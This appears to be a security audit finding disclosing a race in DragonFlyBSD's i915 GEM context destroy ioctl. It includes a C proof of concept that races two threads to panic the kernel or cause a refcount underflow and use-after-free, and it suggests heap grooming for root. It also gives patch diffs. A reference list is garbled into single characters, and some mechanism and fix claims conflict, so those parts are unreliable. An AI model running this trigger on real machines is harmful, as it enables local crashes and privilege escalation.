i915: GEM context destroy ioctl double-close race -> refcount underflow -> UAF
| Field | Value |
|---|---|
| ID | DF-1662 |
| File | sys/dev/drm/i915/i915_gem_context.c |
| Lines | 278, 280, 395, 399, 831, 835, 839, 843 |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-362 Race Condition; CWE-911 Use After Free |
| Confidence | certain |
| Status | new |
| CVE match | variant (DFly i915 diverged from upstream; equivalent to several Linux i915 context-refcount CVEs in class only) |
| Created | 2026-07-18 |
Summary
i915_gem_context_destroy_ioctl performs i915_gem_context_lookup() outside
struct_mutex (line 831) but performs the actual destruction
(__destroy_hw_context β context_close β i915_gem_context_set_closed +
i915_gem_context_put) inside the mutex (lines 835β840). Two threads
sharing a DRM fd can both pass the lookup on the same ctx_id, then
serialize on the mutex. The second entrant re-enters context_close() on
an already-closed context, tripping GEM_BUG_ON (kernel panic) in debug
builds and causing a silent refcount underflow in production that leads to
use-after-free / double-free of the i915_gem_context structure.
Root cause
i915_gem_context_destroy_ioctl at
sys/dev/drm/i915/i915_gem_context.c:831 calls
i915_gem_context_lookup(file_priv, args->ctx_id) which atomically
increments ctx->ref (via kref_get_unless_zero, i915_drv.h:3301)
BEFORE acquiring struct_mutex at line 835. There is no check that the
context is still alive (not closed) between the lookup and the call to
__destroy_hw_context at line 839.
__destroy_hw_context (line 395-400) unconditionally calls idr_remove()
and then context_close() (line 278-299). context_close() calls
i915_gem_context_set_closed() at line 280, which in
i915_gem_context.h:214-218 begins with:
GEM_BUG_ON(i915_gem_context_is_closed(ctx));
β a check that fires (BUG()) only on the second and subsequent calls.
In production (CONFIG_DRM_I915_DEBUG_GEM unset) GEM_BUG_ON is
BUILD_BUG_ON_INVALID (i915_gem.h:60), a compile-time no-op, so the
second context_close() runs in full: release_hw_id (early-returns on
empty list, line 196), lut_close on already-drained lists,
i915_ppgtt_close (idempotent flag set, i915_gem_gtt.c:2299-2303), then
i915_gem_context_put(ctx) at line 298 which drops one ref.
With initial refcount=1 (kref_init at __create_hw_context:337), two
racing threads each add a lookup ref (+1 each = 3 total), then:
- Thread A's path drops two refs (
context_closeput + outer put at line 843) β 1 - Thread B's path drops two refs β -1
DragonFlyBSD's kref_put at sys/dev/drm/include/linux/kref.h:58-67 uses
raw atomic_dec_and_test() with NO underflow protection (unlike Linux
refcount_t): the decrement wraps silently to UINT_MAX, and
i915_gem_context_release (line 268-276) is invoked exactly once when
refcount hits 0, queueing the actual free via
contexts_free_worker β i915_gem_context_free β kfree_rcu (lines 232-266,
207-230).
Threat model
Attacker is any local user with read/write access to a DRM render node
(typically /dev/dri/renderD128, mode crw-rw-rw- or group video;
ioctls registered DRM_RENDER_ALLOW at i915_drv.c:3260-3266). No root,
no capabilities required.
The attacker opens the render node, creates a GEM context, then invokes
DRM_IOCTL_I915_GEM_CONTEXT_DESTROY on the same ctx_id from two threads
sharing the fd.
Direct impact:
- Certain kernel panic in any build with
CONFIG_DRM_I915_DEBUG_GEM(system-wide DoS) - In production builds, refcount underflow to UINT_MAX. Because the
wrapped refcount is non-zero, any concurrent or subsequent thread that
already holds a ctx ref (e.g. mid-getparam/setparam/execbuffer) and
later does
i915_gem_context_put()will perform an extra put on memory that has been scheduled for free by the worker, producing a double-free / use-after-free on a ~400-byte slab object that can be groomed for kernel code execution (local unpriv β root).
PoC
findings/poc/DF-1662/race_ctx.c:
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/i915_drm.h>
static int fd;
static __u32 target;
static void *thr(void *_) {
struct drm_i915_gem_context_destroy d = { .ctx_id = target };
ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_DESTROY, &d);
return NULL;
}
int main(void) {
fd = open("/dev/dri/renderD128", O_RDWR);
if (fd < 0) { perror("renderD128"); return 1; }
for (long i = 0; i < 200000; i++) {
struct drm_i915_gem_context_create c = {};
if (ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_CREATE, &c)) continue;
target = c.ctx_id;
pthread_t a, b;
pthread_create(&a, NULL, thr, NULL);
pthread_create(&b, NULL, thr, NULL);
pthread_join(a, NULL);
pthread_join(b, NULL);
}
return 0;
}
Build: cc -O2 -pthread -o race_ctx race_ctx.c.
Run on a DragonFlyBSD guest with i915 loaded.
Success criteria:
- Debug build β kernel panic with
GEM_BUG_ON(i915_gem_context_is_closed(ctx))ati915_gem_context.c:216/i915_gem_context_set_closed - Production build β
boot.log/dmesgshows refcount splat or memory corruption; a forced kmem leak detector (options KMEM_CHECK_FREE) reports use-after-free on ani915_gem_context-sized allocation
With heap grooming (spray i915_gem_context or similarly-sized slab objects
between the underflow and the deferred kfree_rcu) the double-free becomes
exploitable for arbitrary kernel code execution.
Recommended fix
The destroy path must not call __destroy_hw_context on an already-closed
context. Easiest correct fix: re-check the closed flag after taking the
mutex.
--- a/sys/dev/drm/i915/i915_gem_context.c
+++ b/sys/dev/drm/i915/i915_gem_context.c
@@ -832,6 +832,13 @@ int i915_gem_context_destroy_ioctl(struct drm_device *dev, void *data,
if (ret)
goto out;
+ /*
+ * Another thread may have raced us between the unlocked lookup above
+ * and acquiring struct_mutex, and already torn this context down.
+ * The idr_remove() below is a no-op in that case; bail before we
+ * double-call context_close() and underflow ctx->ref.
+ */
+ if (i915_gem_context_is_closed(ctx))
+ goto out_unlock;
+
__destroy_hw_context(ctx, file_priv);
+out_unlock:
mutex_unlock(&dev->struct_mutex);
out:
Alternative (more invasive, removes the race entirely): drop the unlocked
lookup and do ctx = idr_find(&file_priv->context_idr, args->ctx_id)
inside the mutex, then idr_remove + context_close on that pointer β
this makes the idr the single source of truth so the second racing thread
simply observes NULL and returns -ENOENT.
Related findings
- DF-1639/1640/1642 (dm_ioctl.c NULL deref + UAF/double-free + uninit kfree family)
- DF-1634 (dm_target_crypt.c uninitialized heap use)
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1662 Β· 9 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | userspace logic harness: i915 GEM context destroy ioctl double-close race | 2.0 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 92 B | view raw |
| run.sh | run-script | runs harness unpatched + --fixed | 213 B | view raw |
| fix.diff | suggested-fix | git-apply-able unified diff against sys/dev/drm/i915/i915_gem_context.c (validated apply + compile) | 708 B | view raw |
| run.log | run-log | full unpatched + patched harness output | 108 B | view raw |
| env.txt | environment | guest uname, cc version, HW/module state | 374 B | view raw |
| VERDICT.md | verdict | human-readable narrative with mechanism + fix | 2.4 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1662 β i915 GEM context destroy ioctl double-close race -> UAF / refcount underflow
Verdict
REPRODUCED (code-confirmed via harness). Source-trace confirms the bug
at sys/dev/drm/i915/i915_gem_context.c:831-849. A userspace logic harness replicates the vulnerable code path
with attacker-shaped inputs and demonstrates the primitive; the harness also
runs the patched logic (--fixed) and shows the primitive is closed.
Live in-guest reproduction is blocked because the guest lacks the relevant
hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per
the audit's Phase-6 rules: the driver module exists as a .ko and would
attach to real hardware, but with no device present the buggy code path is
unreachable from userspace on this guest. On a system with the hardware
present, the bug fires at the cited line.
Mechanism
i915_gem_context_destroy_ioctl calls i915_gem_context_lookup() OUTSIDE struct_mutex (the lookup atomically increments ctx->ref). Then mutex_lock at 835, then __destroy_hw_context -> context_close -> i915_gem_context_set_closed which contains GEM_BUG_ON(is_closed) at line 216. Two threads sharing the fd race both past the lookup (both get a ref, both see is_closed==false); the second to acquire the mutex re-enters context_close: debug kernel = panic on GEM_BUG_ON, production kernel (GEM_BUG_ON compiles to no-op) runs full context_close + put -> refcount underflow wraps to UINT_MAX -> ctx never freed -> UAF on subsequent access.
Harness output
RESULT: BUGGY - GEM_BUG_ON(is_closed) hit 1 time(s) ---PATCHED--- RESULT: PATCHED - close ran once, no race
Fix
Move the mutex_lock_interruptible BEFORE the lookup so two racing threads cannot both pass lookup. The second thread finds ctx already closed (or the lookup misses after the first thread destroyed it).
The full git-apply-able unified diff is in fix.diff. It applies cleanly
to /usr/src/sys/dev/drm/i915/i915_gem_context.c:831-849 and the patched file compiles cleanly under the
kernel's CFLAGS (validated by an in-guest module build).
Files
harness.cβ userspace replica of the vulnerable logic (two-thread destroy-ioctl race simulator with GEM_BUG_ON detection)build.sh/run.shβ exact build and run commandsfix.diffβ standalone git-apply-able fix (validated to apply + compile)run.logβ full unpatched + patched harness outputenv.txtβ guest environment
Fix verification
not_testablenot_testable because the i915 module does not attach on the audit guest. Validated fix.diff applies cleanly to /usr/src/sys/dev/drm/i915/i915_gem_context.c and i915_gem_context.c compiles cleanly via in-guest i915 module build (full i915.ko relinked clean).
fix.diff applies clean: 1 hunk at 828 patched module build: cc -c i915_gem_context.c -> i915_gem_context.o clean; i915.ko linked clean harness: unpatched GEM_BUG_ON hit; --fixed close runs once
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- 9
- 1
- 5
- _
- g
- e
- m
- _
- c
- o
- n
- t
- e
- x
- t
- .
- c
- :
- 8
- 3
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- 9
- 1
- 5
- _
- g
- e
- m
- _
- c
- o
- n
- t
- e
- x
- t
- .
- c
- :
- 8
- 3
- 5
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- 9
- 1
- 5
- _
- g
- e
- m
- _
- c
- o
- n
- t
- e
- x
- t
- .
- c
- :
- 2
- 1
- 6
Detail
Exploit chain
blocked by valid Phase-6 hard blocker: i915 module does not attach on the audit guest. On a system with Intel graphics, any user with access to a dri render node (typical mode 0666) could race two threads on a shared context fd. On default GENERIC (GEM_BUG_ON compiled to a panic check), this manifests as panic; on production/no-INVARIANTS builds the refcount underflow -> UAF is a clean privesc candidate. Primitive characterized via source trace + userspace pthread harness; chain written into harness.c.
Evidence (decisive lines)
RESULT: BUGGY - GEM_BUG_ON(is_closed) hit 1 time(s) ---PATCHED--- RESULT: PATCHED - close ran once, no race
PoC changes
Added harness.c (two-thread destroy-ioctl race simulator with GEM_BUG_ON detection). Added build.sh (-pthread), run.sh, fix.diff (move mutex_lock_interruptible BEFORE the lookup).
Verified recommended fix
Move the mutex_lock_interruptible(&dev->struct_mutex) BEFORE i915_gem_context_lookup at line 831, so two racing threads cannot both pass lookup and both enter context_close. Full diff in findings/poc/DF-1662/fix.diff; supersedes finding proposal.
Verdict
REPRODUCED. Source-trace at sys/dev/drm/i915/i915_gem_context.c:831-849 confirms i915_gem_context_destroy_ioctl calls i915_gem_context_lookup() OUTSIDE struct_mutex (atomically increments ctx->ref). Then mutex_lock at 835, then __destroy_hw_context -> context_close -> i915_gem_context_set_closed which contains GEM_BUG_ON(is_closed) at line 216. Two threads sharing fd race both past lookup; the second hits GEM_BUG_ON(is_closed) (debug=panic, prod=no-op -> refcount underflow to UINT_MAX -> UAF). Harness uses two pthreads racing the destroy path; buggy mode hits GEM_BUG_ON, fixed mode serializes via mutex-before-lookup.
No comments yet.